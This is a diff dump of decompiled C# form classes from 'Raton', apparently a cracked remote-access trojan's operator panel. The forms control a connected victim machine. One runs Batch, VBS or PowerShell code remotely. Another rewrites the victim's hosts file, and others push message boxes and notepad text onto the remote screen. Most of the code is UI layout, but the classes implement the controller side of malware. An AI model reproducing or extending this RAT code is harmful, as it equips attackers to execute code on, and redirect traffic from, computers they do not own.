private void flatComboBox1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonExecuteCode));
|
||||
this.fastColoredTextBox1 = new FastColoredTextBox();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
((ISupportInitialize) this.fastColoredTextBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.fastColoredTextBox1.AutoCompleteBracketsList = new char[10]
|
||||
{
|
||||
'(',
|
||||
')',
|
||||
'{',
|
||||
'}',
|
||||
'[',
|
||||
']',
|
||||
'"',
|
||||
'"',
|
||||
'\'',
|
||||
'\''
|
||||
};
|
||||
this.fastColoredTextBox1.AutoIndentCharsPatterns = "\r\n^\\s*[\\w\\.]+(\\s\\w+)?\\s*(?<range>=)\\s*(?<range>[^;]+);\r\n^\\s*(case|default)\\s*[^:]*(?<range>:)\\s*(?<range>[^;]+);\r\n";
|
||||
this.fastColoredTextBox1.AutoScrollMinSize = new Size(235, 14);
|
||||
this.fastColoredTextBox1.BackBrush = (Brush) null;
|
||||
this.fastColoredTextBox1.BackColor = Color.WhiteSmoke;
|
||||
this.fastColoredTextBox1.BracketsHighlightStrategy = BracketsHighlightStrategy.Strategy2;
|
||||
this.fastColoredTextBox1.CharHeight = 14;
|
||||
this.fastColoredTextBox1.CharWidth = 8;
|
||||
this.fastColoredTextBox1.Cursor = Cursors.IBeam;
|
||||
this.fastColoredTextBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
|
||||
this.fastColoredTextBox1.IndentBackColor = SystemColors.InactiveCaption;
|
||||
this.fastColoredTextBox1.IsReplaceMode = false;
|
||||
this.fastColoredTextBox1.Language = Language.CSharp;
|
||||
this.fastColoredTextBox1.LeftBracket = '(';
|
||||
this.fastColoredTextBox1.LeftBracket2 = '{';
|
||||
this.fastColoredTextBox1.Location = new Point(-1, -1);
|
||||
this.fastColoredTextBox1.Name = "fastColoredTextBox1";
|
||||
this.fastColoredTextBox1.Paddings = new Padding(0);
|
||||
this.fastColoredTextBox1.RightBracket = ')';
|
||||
this.fastColoredTextBox1.RightBracket2 = '}';
|
||||
this.fastColoredTextBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
|
||||
this.fastColoredTextBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("fastColoredTextBox1.ServiceColors");
|
||||
this.fastColoredTextBox1.ServiceLinesColor = Color.DimGray;
|
||||
this.fastColoredTextBox1.Size = new Size(668, 419);
|
||||
this.fastColoredTextBox1.TabIndex = 0;
|
||||
this.fastColoredTextBox1.Text = "// Type your code here! :)";
|
||||
this.fastColoredTextBox1.Zoom = 100;
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Dock = DockStyle.Bottom;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 15.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_code_24_filled1;
|
||||
this.button1.IconSize = 30;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(0, 438);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(665, 68);
|
||||
this.button1.TabIndex = 2;
|
||||
this.button1.Text = "Execute code";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Items.AddRange(new object[4]
|
||||
{
|
||||
(object) "Batch",
|
||||
(object) "VBS",
|
||||
(object) "Powershell",
|
||||
(object) "Html"
|
||||
});
|
||||
this.flatComboBox1.Location = new Point(-1, 418);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(668, 23);
|
||||
this.flatComboBox1.TabIndex = 1;
|
||||
this.flatComboBox1.Text = "Batch";
|
||||
this.flatComboBox1.SelectedIndexChanged += new EventHandler(this.flatComboBox1_SelectedIndexChanged);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(665, 506);
|
||||
this.Controls.Add((Control) this.flatComboBox1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.fastColoredTextBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonExecuteCode);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonExecuteCode);
|
||||
this.Load += new EventHandler(this.ratonExecuteCode_Load);
|
||||
((ISupportInitialize) this.fastColoredTextBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,163 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonFIle
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonFIle : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Label lblStatus;
|
||||
private Timer timer1;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
public Timer timer2;
|
||||
public Label lblPorcent;
|
||||
public Label lblName;
|
||||
public Label lblSize;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public long FileSize { get; set; }
|
||||
|
||||
public object OneByOne { get; set; }
|
||||
|
||||
public long TotalFileSize { get; set; }
|
||||
|
||||
public string FileName { get; set; }
|
||||
|
||||
public string UID { get; set; }
|
||||
|
||||
public ratonFIle()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
this.OneByOne = new object();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonFIle_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.lblName.Text = this.FileName;
|
||||
this.lblSize.Text = "Size: " + Helpers.BytesToString(this.FileSize);
|
||||
if (this.FileSize <= 0L)
|
||||
{
|
||||
this.flatProgressBar1.Value = 0;
|
||||
this.timer2.Stop();
|
||||
}
|
||||
else
|
||||
{
|
||||
float f = 100f * (float) this.TotalFileSize / (float) this.FileSize;
|
||||
if (float.IsNaN(f) || float.IsInfinity(f))
|
||||
f = 0.0f;
|
||||
int num = this.Clamp((int) f, 0, 100);
|
||||
this.flatProgressBar1.Value = num;
|
||||
this.lblPorcent.Text = $"{num}%";
|
||||
}
|
||||
}
|
||||
|
||||
private int Clamp(int value, int min, int max)
|
||||
{
|
||||
if (value < min)
|
||||
return min;
|
||||
return value <= max ? value : max;
|
||||
}
|
||||
|
||||
public void Status(string status) => this.Invoke((Delegate) (() => this.lblStatus.Text = status));
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFIle));
|
||||
this.lblStatus = new Label();
|
||||
this.lblSize = new Label();
|
||||
this.lblName = new Label();
|
||||
this.lblPorcent = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.SuspendLayout();
|
||||
this.lblStatus.AutoSize = true;
|
||||
this.lblStatus.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.lblStatus.Location = new Point(9, 45);
|
||||
this.lblStatus.Name = "lblStatus";
|
||||
this.lblStatus.Size = new Size(59, 15);
|
||||
this.lblStatus.TabIndex = 1;
|
||||
this.lblStatus.Text = "Loading...";
|
||||
this.lblSize.AutoSize = true;
|
||||
this.lblSize.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.lblSize.Location = new Point(9, 28);
|
||||
this.lblSize.Name = "lblSize";
|
||||
this.lblSize.Size = new Size(77, 15);
|
||||
this.lblSize.TabIndex = 2;
|
||||
this.lblSize.Text = "Size: Unknow";
|
||||
this.lblName.AutoSize = true;
|
||||
this.lblName.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.lblName.Location = new Point(9, 9);
|
||||
this.lblName.Name = "lblName";
|
||||
this.lblName.Size = new Size(26, 16 /*0x10*/);
|
||||
this.lblName.TabIndex = 3;
|
||||
this.lblName.Text = "???";
|
||||
this.lblPorcent.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.lblPorcent.Location = new Point(289, 71);
|
||||
this.lblPorcent.Name = "lblPorcent";
|
||||
this.lblPorcent.Size = new Size(44, 15);
|
||||
this.lblPorcent.TabIndex = 4;
|
||||
this.lblPorcent.Text = "100%";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.flatProgressBar1.Location = new Point(12, 67);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.LightGreen;
|
||||
this.flatProgressBar1.Size = new Size(271, 23);
|
||||
this.flatProgressBar1.TabIndex = 0;
|
||||
this.flatProgressBar1.Value = 70;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(331, 113);
|
||||
this.Controls.Add((Control) this.lblStatus);
|
||||
this.Controls.Add((Control) this.lblPorcent);
|
||||
this.Controls.Add((Control) this.lblName);
|
||||
this.Controls.Add((Control) this.lblSize);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonFIle);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonFIle);
|
||||
this.Load += new EventHandler(this.ratonFIle_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,131 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonHosts
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using FastColoredTextBoxNS;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonHosts : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
private Timer timer1;
|
||||
public FastColoredTextBox textBox1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonHosts()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonHosts_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void rgbBuildButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text));
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Hosts");
|
||||
pack.SetString("Content", base64String);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Hosts file modified!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHosts));
|
||||
this.textBox1 = new FastColoredTextBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
((ISupportInitialize) this.textBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.AutoCompleteBracketsList = new char[10]
|
||||
{
|
||||
'(',
|
||||
')',
|
||||
'{',
|
||||
'}',
|
||||
'[',
|
||||
']',
|
||||
'"',
|
||||
'"',
|
||||
'\'',
|
||||
'\''
|
||||
};
|
||||
this.textBox1.AutoScrollMinSize = new Size(32 /*0x20*/, 12);
|
||||
this.textBox1.BackBrush = (Brush) null;
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.CharHeight = 12;
|
||||
this.textBox1.CharWidth = 7;
|
||||
this.textBox1.Cursor = Cursors.IBeam;
|
||||
this.textBox1.DisabledColor = Color.FromArgb(100, 180, 180, 180);
|
||||
this.textBox1.Dock = DockStyle.Top;
|
||||
this.textBox1.Font = new Font("Courier New", 8.25f);
|
||||
this.textBox1.IsReplaceMode = false;
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Paddings = new Padding(0);
|
||||
this.textBox1.SelectionColor = Color.FromArgb(60, 0, 0, (int) byte.MaxValue);
|
||||
this.textBox1.ServiceColors = (ServiceColors) componentResourceManager.GetObject("textBox1.ServiceColors");
|
||||
this.textBox1.Size = new Size(526, 505);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.textBox1.Text = " ";
|
||||
this.textBox1.Zoom = 100;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Dock = DockStyle.Bottom;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_wifi_warning_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(0, 511 /*0x01FF*/);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(526, 52);
|
||||
this.rgbBuildButton1.TabIndex = 1;
|
||||
this.rgbBuildButton1.Text = "Modify file";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(526, 563);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonHosts);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonHosts);
|
||||
this.Load += new EventHandler(this.ratonHosts_Load);
|
||||
((ISupportInitialize) this.textBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,198 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonMessageBox
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonMessageBox : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private FlatComboBox flatComboBox1;
|
||||
private FlatComboBox flatComboBox2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private TextBox textBox1;
|
||||
private TextBox textBox2;
|
||||
private Label label3;
|
||||
private Label label4;
|
||||
private Timer timer1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMessageBox()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
this.timer1.Start();
|
||||
DarkMode.Start((Form) this);
|
||||
this.flatComboBox2.Items.Clear();
|
||||
this.flatComboBox1.Items.Clear();
|
||||
this.flatComboBox2.Items.AddRange((object[]) new string[3]
|
||||
{
|
||||
"Error",
|
||||
"Warning",
|
||||
"Information"
|
||||
});
|
||||
this.flatComboBox2.SelectedIndex = 0;
|
||||
this.flatComboBox1.Items.AddRange((object[]) new string[6]
|
||||
{
|
||||
"OK",
|
||||
"OK, Cancel",
|
||||
"Yes, No",
|
||||
"Yes, No, Cancel",
|
||||
"Retry, Cancel",
|
||||
"Abort, Retry, Ignore"
|
||||
});
|
||||
this.flatComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.textBox1.TextLength < 1)
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else if (this.textBox2.TextLength < 1)
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "MsgBox");
|
||||
pack.SetString("Icon", (string) this.flatComboBox2.SelectedItem);
|
||||
pack.SetString("Options", (string) this.flatComboBox1.SelectedItem);
|
||||
pack.SetString("Title", this.textBox1.Text.ToString());
|
||||
pack.SetString("Message", this.textBox2.Text.ToString());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num3 = (int) Messenger.MessageBox("Message box sent", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonMessageBox_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMessageBox));
|
||||
this.flatComboBox1 = new FlatComboBox();
|
||||
this.flatComboBox2 = new FlatComboBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.textBox1 = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.label3 = new Label();
|
||||
this.label4 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.flatComboBox1.FormattingEnabled = true;
|
||||
this.flatComboBox1.Location = new Point(13, 433);
|
||||
this.flatComboBox1.Name = "flatComboBox1";
|
||||
this.flatComboBox1.Size = new Size(566, 23);
|
||||
this.flatComboBox1.TabIndex = 0;
|
||||
this.flatComboBox2.FormattingEnabled = true;
|
||||
this.flatComboBox2.Location = new Point(12, 388);
|
||||
this.flatComboBox2.Name = "flatComboBox2";
|
||||
this.flatComboBox2.Size = new Size(567, 23);
|
||||
this.flatComboBox2.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(12, 369);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(105, 15);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Message box icons";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(12, 415);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(118, 15);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Message box options";
|
||||
this.textBox1.Location = new Point(12, 34);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(564, 22);
|
||||
this.textBox1.TabIndex = 5;
|
||||
this.textBox2.Location = new Point(15, 86);
|
||||
this.textBox2.MaxLength = 200;
|
||||
this.textBox2.Multiline = true;
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(562, 270);
|
||||
this.textBox2.TabIndex = 6;
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new Point(12, 68);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(136, 15);
|
||||
this.label3.TabIndex = 7;
|
||||
this.label3.Text = "Message box description";
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new Point(11, 16 /*0x10*/);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new Size(98, 15);
|
||||
this.label4.TabIndex = 8;
|
||||
this.label4.Text = "Message box title";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_chat_warning_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(12, 463);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(567, 46);
|
||||
this.rgbBuildButton1.TabIndex = 9;
|
||||
this.rgbBuildButton1.Text = "Show message box";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(591, 522);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.flatComboBox2);
|
||||
this.Controls.Add((Control) this.flatComboBox1);
|
||||
this.Controls.Add((Control) this.label4);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMessageBox);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMessageBox);
|
||||
this.Load += new EventHandler(this.ratonMessageBox_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,140 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonNotepad
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonNotepad : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private TextBox textBox2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Timer timer1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonNotepad()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonNotepad_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.textBox1.TextLength < 1)
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else if (this.textBox2.TextLength < 3)
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Notepad");
|
||||
pack.SetString("Content", this.textBox2.Text);
|
||||
pack.SetString("Title", this.textBox1.Text);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num3 = (int) Messenger.MessageBox("Notepad sent to the client", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonNotepad));
|
||||
this.textBox1 = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Location = new Point(10, 27);
|
||||
this.textBox1.MaxLength = 200;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(655, 22);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.textBox2.Location = new Point(11, 76);
|
||||
this.textBox2.Multiline = true;
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(656, 308);
|
||||
this.textBox2.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(8, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(29, 15);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Title";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(8, 58);
|
||||
this.label2.Name = "label2";
|
||||
